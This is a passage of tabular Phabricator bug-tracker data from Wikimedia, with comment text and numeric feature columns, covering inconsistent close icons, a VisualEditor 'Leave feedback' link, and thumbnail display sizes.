mobile as well due to space constraints, I'd prefer to get consistency in these places then we can investigate in which interfaces we should expand beyond just an icon. But for places we're CURRENTLY using an icon, that icon should be consistent."
226959,"Inconsistent close icon ""x""  in Wikimedia product interfaces","(In reply to Andre Klapper from comment #9)
> As Jared added the ""easy"" keyword to this ticket: What is the prefered
> approach and expected implementation for a potential new code contributor? 
> Which specific 'close' icon to use everywhere?
> What is the complete list of codebases which are affected?
> 
> This ticket got a bit messy so I got lost. Summarizing is highly welcome.

From what I understand, the current guidance is ""never ever ever use an icon for workflow functionality"", per user testing outcomes. This is why VE switched over to simple words instead (""Done""/""Cancel""/etc.)",,,1414441300,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,True,,,69,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,22.0,2.0,0.0,5.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,12.0,11.0,0.0,5.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,2.0,3.8615384615384616,0.7076923076923077,"(In reply to Andre Klapper from comment #9)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

From what I understand, the current guidance is ""never ever ever use an icon for workflow functionality"", per user testing outcomes. This is why VE switched over to simple words instead (""Done""/""Cancel""/etc.)"
226955,"Inconsistent close icon ""x""  in Wikimedia product interfaces","As Jared added the ""easy"" keyword to this ticket: What is the prefered approach and expected implementation for a potential new code contributor? 
Which specific 'close' icon to use everywhere?
What is the complete list of codebases which are affected?

This ticket got a bit messy so I got lost. Summarizing is highly welcome.",,,1414344333,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,True,,,68,,0.0,0.0,1.0,1.0,0.0,13.0,4.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,1.0,1.0,4.0,7.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,6.0,12.0,0.0,1.0,13.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,7.0,1.0,4.0,6.0,0.0,1.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,4.119402985074627,0.7761194029850746,"As Jared added the ""easy"" keyword to this ticket: What is the prefered approach and expected implementation for a potential new code contributor? 
Which specific 'close' icon to use everywhere?
What is the complete list of codebases which are affected?

This ticket got a bit messy so I got lost. Summarizing is highly welcome."
226951,"Inconsistent close icon ""x""  in Wikimedia product interfaces","8. Besides #2 (an 'X' in a circle), other fund-raising banners use the plain 7px 'x' image donate/Small-black-close.png for their close iocn, e.g. http://meta.wikimedia.org/w/index.php?title=Main_Page&banner=B13_0725_trn_Cntrl_nd_yyYY&force=1",,,1376346995,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,10.0,2.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,7.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,5.0,3.0238095238095237,0.8571428571428571,"8. Besides #2 (an 'X' in a circle), other fund-raising banners use the plain 7px 'x' image donate/Small-black-close.png for their close iocn, e.g. URL"
226946,"Inconsistent close icon ""x""  in Wikimedia product interfaces","(In reply to comment #4)
> 1. Located in core (probably /skins/common/images/)

In the past I've tried to use core image resources in CSS files together with @embed without success. I think that desperately needs fixing to go onward with the unification.

> 3. Available in a large size and a small size

I would consider having SVG version too a must.",,,1372850261,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,5.0,0.0,7.0,16.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,16.0,2.0,0.0,5.0,0.0,0.0,0.0,2.0,7.0,0.0,2.0,0.0,5.0,16.0,4.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,4.035714285714286,0.8035714285714286,"(In reply to comment #4)
QUOTE

In the past I've tried to use core image resources in CSS files together withSCREEN_NAME without success. I think that desperately needs fixing to go onward with the unification.

QUOTE

I would consider having SVG version too a must."
226941,"Inconsistent close icon ""x""  in Wikimedia product interfaces","7. Extension:GuidedTour uses a square [X] icon, no hover, for its .x_button style. <https://bits.wikimedia.org/static-1.22wmf3/extensions/GuidedTour/modules/externals/mediawiki.libs.guiders/mediawiki.libs.guiders.submodule/x_close_button.jpg>",,,1368227877,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,1,False,,,-8,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,9.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,22.0,3.217391304347826,0.9130434782608695,"7. Extension:GuidedTour uses a square [X] icon, no hover, for its .x_button style. <URL"
226936,"Inconsistent close icon ""x""  in Wikimedia product interfaces",I checked in a smaller version of the closewindow19x19.png image in change I0e170305.,,,1367693472,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,1,False,,,-9,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,21.0,21.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,5.214285714285714,0.9285714285714286,I checked in a smaller version of the closewindow19x19.png image in change I0e170305.
226931,"Inconsistent close icon ""x""  in Wikimedia product interfaces","There are also currently 2 close window images in core (besides jQuery UI):

1. https://bits.wikimedia.org/static-1.22wmf3/skins/common/images/closewindow.png

2. https://bits.wikimedia.org/static-1.22wmf3/skins/common/images/closewindow19x19.png

I don't think #1 is used anywhere any more (but would be worth checking).

I believe #2 is the same image as the one used in CentralNotice and similar to the Agora design.

If we want developers to standardize on one close icon it needs to have the following properties:

1. Located in core (probably /skins/common/images/)
2. Works for any background (light, dark, grey, etc.)
3. Available in a large size and a small size
4. Conforms to design guidelines

closewindow19x19.png is probably the best bet since it meets 3 of the 4 criteria. All we need to do is create a smaller version for use in small UI elements. Then we can start standardizing everything on that. We can override the jQuery UI close box in resources/jquery.ui/themes/default/.",,,1367693407,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,1,False,,,-9,,1.5,0.5,0.0,0.5,0.5,8.5,1.5,0.0,0.0,0.5,3.5,0.5,0.0,0.0,0.5,3.0,0.5,3.5,10.0,0.5,2.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,1.0,0.5,0.0,6.0,1.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,13.5,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,5.0,3.0,9.0,1.5,1.5,7.0,0.0,0.0,0.0,1.0,4.5,0.0,5.5,0.0,4.0,10.0,5.0,0.0,0.0,0.0,4.0,0.0,0.0,1.5,0.0,1.0,1.0,0.5,3.5,3.677083333333333,0.6875,"There are also currently 2 close window images in core (besides jQuery UI):

1. URL

2. URL

I don't think #1 is used anywhere any more (but would be worth checking).

I believe #2 is the same image as the one used in CentralNotice and similar to the Agora design.

If we want developers to standardize on one close icon it needs to have the following properties:

1. Located in core (probably /skins/common/images/)
2. Works for any background (light, dark, grey, etc.)
3. Available in a large size and a small size
4. Conforms to design guidelines

closewindow19x19.png is probably the best bet since it meets 3 of the 4 criteria. All we need to do is create a smaller version for use in small UI elements. Then we can start standardizing everything on that. We can override the jQuery UI close box in resources/jquery.ui/themes/default/."
226925,"Inconsistent close icon ""x""  in Wikimedia product interfaces",Related URL: https://gerrit.wikimedia.org/r/62237 (Gerrit Change I0e1703057e45297d6728cb635c58183aa37103da),,,1367693310,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,1,False,,,-9,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I0e1703057e45297d6728cb635c58183aa37103da)
226920,"Inconsistent close icon ""x""  in Wikimedia product interfaces","4. The Universal Language Selector extension uses its own chunky X icon with no hover behavior. jquery.uls styles icon-close with background of https://bits.wikimedia.org/static-1.22wmf3/extensions/UniversalLanguageSelector/lib/jquery.uls/images/close.svg

5, 6. The Translate and VisualEditor extensions also have close.svg icons for CSS backgrounds, each slightly different.",,,1367641625,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,1,False,,,-9,,2.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,20.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,8.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.6938775510204085,0.8571428571428571,"4. The Universal Language Selector extension uses its own chunky X icon with no hover behavior. jquery.uls styles icon-close with background of URL

5, 6. The Translate and VisualEditor extensions also have close.svg icons for CSS backgrounds, each slightly different."
226916,"Inconsistent close icon ""x""  in Wikimedia product interfaces","1. is a design from late 2012.

2. matches https://www.mediawiki.org/wiki/Wikimedia_Foundation_Design/Agora_Icon_Set#General edits in 2012 which says ""Dismiss - an 'X' in a circle.""

3. came from jquery.ui work in 2010.",,,1367639602,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,1,False,,,-9,,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,7.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,7.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,12.0,5.0,0.0,10.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,7.0,2.8048780487804876,0.6829268292682927,"1. is a design from late 2012.

2. matches URL edits in 2012 which says ""Dismiss - an 'X' in a circle.""

3. came from jquery.ui work in 2010."
49815,"""Leave feedback"" link has confusing scope","Component: UI

The speech bubble icon and ""Leave feedback"" link in Visual Editor look like they apply to the page being edited.  I was expecting a Talk: tool.

It would be more clear if the text were ""Report bug in Visual Editor"", but that's annoyingly verbose.  Which is sort of the intention here, I assume ;)  Normally, this link would get buried in a dropdown menu or something, IMO.

The problem is exacerbated if you are sort of blind and zoom in your browser a lot, because the VE feedback link becomes very prominent once the toolbar is wrapped.
",Low,25.0,1367214840,1419610136.0,PHID-USER-p6hvqn5njgnxuagekh4b,False,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-TASK-necjrhau4bastnyumud5,task_description,resolved,True,c1,1,True,False,False,-9,,0.0,1.0,1.0,2.0,0.0,3.0,2.0,1.0,0.0,1.5,2.5,0.0,0.0,0.0,0.0,1.5,0.0,7.5,8.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.5,0.5,6.0,1.5,0.5,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,13.0,0.5,1.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,5.5,10.5,3.0,2.5,8.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,8.0,3.5,0.0,2.0,0.0,5.0,0.0,0.5,2.0,0.0,0.5,0.5,0.0,0.0,3.7326811210999473,0.7966684294024325,"Component: UI

The speech bubble icon and ""Leave feedback"" link in Visual Editor look like they apply to the page being edited.  I was expecting a Talk: tool.

It would be more clear if the text were ""Report bug in Visual Editor"", but that's annoyingly verbose.  Which is sort of the intention here, I assume ;)  Normally, this link would get buried in a dropdown menu or something, IMO.

The problem is exacerbated if you are sort of blind and zoom in your browser a lot, because the VE feedback link becomes very prominent once the toolbar is wrapped.
"
393080,"""Leave feedback"" link has confusing scope","Yep, from what I recall of the past and my understanding of the report, the issue looks solved.",,,1419610136,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-necjrhau4bastnyumud5,task_subcomment,,True,c1,3,True,,,77,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,10.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,14.0,5.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,0.8095238095238095,"Yep, from what I recall of the past and my understanding of the report, the issue looks solved."
391898,"""Leave feedback"" link has confusing scope","The link is now neatly tucked inside a dropdown menu. There's no screenshot on this bug, so I can only guess that it wasn't like this before. This probably resolves the issue sufficiently.

{F23347}",,,1419186729,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-necjrhau4bastnyumud5,task_subcomment,,True,c1,3,True,,,76,,0.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,2.0,0.0,16.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,7.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,12.0,5.0,0.0,16.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,3.86046511627907,0.9302325581395349,"The link is now neatly tucked inside a dropdown menu. There's no screenshot on this bug, so I can only guess that it wasn't like this before. This probably resolves the issue sufficiently.

{F23347}"
211163,"""Leave feedback"" link has confusing scope","Adding many blockers of bug 38638 to the list of ""easy"" bugs, to mark them as candidates for [[mw:Google Code-in]] tasks (gci2013). If you think this bug is not suitable, remove the keyword.",,,1384864550,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-necjrhau4bastnyumud5,task_subcomment,,True,c1,3,True,,,20,,2.0,0.0,0.0,0.0,2.0,6.0,2.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,2.0,2.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,8.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,4.0,16.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,6.0,3.2244897959183674,0.8163265306122449,"Adding many blockers of bug 38638 to the list of ""easy"" bugs, to mark them as candidates for [[mw:Google Code-in]] tasks (gci2013). If you think this bug is not suitable, remove the keyword."
211159,"""Leave feedback"" link has confusing scope",The feedback link isn't a VisualEditor item but part of MediaWiki core. Moving bug appropriately.,,,1367275669,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-necjrhau4bastnyumud5,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,22.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,4.611111111111111,0.9444444444444444,The feedback link isn't a VisualEditor item but part of MediaWiki core. Moving bug appropriately.
49804,"VisualEditor: ""Thumb"" images should display in wiki default thumb size","Screenshot of page in view mode

Show thumbnail in user preference size in edit mode.

1. Set user preference to 300 pixel: ""Thumbnail size:"" of https://de.wikipedia.org/wiki/Spezial:Einstellungen?uselang=en#mw-prefsection-rendering

2. Edit page with image included as standard thumb.

Thumbnail is shown in a smaller size instead of the user preference size.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://de.wikipedia.org/wiki/Benutzer:Raymond/thumb
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50379

**Attached**: {F10384}",Low,25.0,1367185680,1393447280.0,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-pwct3nalejruvwpszxyi,task_description,resolved,True,c1,1,False,False,False,-10,,0.0,0.0,0.0,0.5,0.0,3.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,12.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,0.0,5.5,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.5,3.332634521313767,0.5410552061495457,"Screenshot of page in view mode

Show thumbnail in user preference size in edit mode.

1. Set user preference to 300 pixel: ""Thumbnail size:"" of URL

2. Edit page with image included as standard thumb.

Thumbnail is shown in a smaller size instead of the user preference size.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL
**See Also**:
URL

**Attached**: {F10384}"
210503,"VisualEditor: ""Thumb"" images should display in wiki default thumb size","We have now implemented displaying default images in local wiki default size, and explicitly *not* user-preference size.

This is because the editing surface should encourage users to make the right kind of edits for all users, not just themselves. If a page has an image at default and a second at 300px, and a user with a default of 400px resizes one of the images to fit in with the other, a user with a default of 200px (e.g. an anonymous user) will get a different experience and may try to revert (or the change will have a different effect to what was intended).

I'm therefore re-titling this bug to just refer to local wiki size, and marking as FIXED. Happy to discuss further.",,,1393447280,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pwct3nalejruvwpszxyi,task_subcomment,,True,c1,3,True,,,34,,0.5,0.0,0.0,0.5,1.0,6.5,0.5,0.5,0.0,0.5,3.0,0.5,0.0,0.0,0.0,1.0,0.5,5.0,13.5,0.0,3.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,1.5,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.5,0.5,0.0,1.0,0.5,0.0,0.0,0.5,1.5,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,9.0,1.0,3.5,1.0,3.5,10.5,0.0,0.0,0.0,0.0,6.0,0.0,0.5,0.0,1.5,13.5,2.0,0.0,0.0,0.0,1.5,0.0,0.5,6.0,0.5,3.0,0.0,0.0,0.0,3.8423731951129207,0.7279711218067382,"We have now implemented displaying default images in local wiki default size, and explicitly *not* user-preference size.

This is because the editing surface should encourage users to make the right kind of edits for all users, not just themselves. If a page has an image at default and a second at 300px, and a user with a default of 400px resizes one of the images to fit in with the other, a user with a default of 200px (e.g. an anonymous user) will get a different experience and may try to revert (or the change will have a different effect to what was intended).

I'm therefore re-titling this bug to just refer to local wiki size, and marking as FIXED. Happy to discuss further."
210498,"VisualEditor: ""Thumb"" images should display in wiki default thumb size","Change 114420 merged by jenkins-bot:
Set up wiki-default image size

https://gerrit.wikimedia.org/r/114420",,,1393446711,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pwct3nalejruvwpszxyi,task_subcomment,,True,c1,3,False,,,34,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9444444444444446,0.9444444444444444,"Change 114420 merged by jenkins-bot:
Set up wiki-default image size

GERRIT_URL"
210492,"VisualEditor: ""Thumb"" images should display in wiki default thumb size","Change 114420 had a related patch set uploaded by Mooeypoo:
[wip] Set up wiki-default image size

https://gerrit.wikimedia.org/r/114420",,,1392873520,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pwct3nalejruvwpszxyi,task_subcomment,,True,c1,3,False,,,33,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,3.9166666666666665,1.0,"Change 114420 had a related patch set uploaded by Mooeypoo:
[wip] Set up wiki-default image size

GERRIT_URL"
210488,"VisualEditor: ""Thumb"" images should display in wiki default thumb size","French Wikipedians would like VE to follow the local convention that thumbnails are only displayed with the ""upright"" option (https://en.wikipedia.org/wiki/Wikipedia:Extended_image_syntax#Size).",,,1389017980,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-pwct3nalejruvwpszxyi,task_subcomment,,True,c1,3,False,,,27,,0.0,0.0,0.0,4.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,4.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,9.0,4.0,17.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,9.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.782608695652174,0.9130434782608695,"French Wikipedians would like VE to follow the local convention that thumbnails are only displayed with the ""upright"" option (URL"
210485,"VisualEditor: ""Thumb"" images should display in wiki default thumb size","User preference and wiki-default sizes specify the maximum width of an image, regardless of dimensions or aspect ratio, but VE scales the images to fit in a 190px by 212px box.

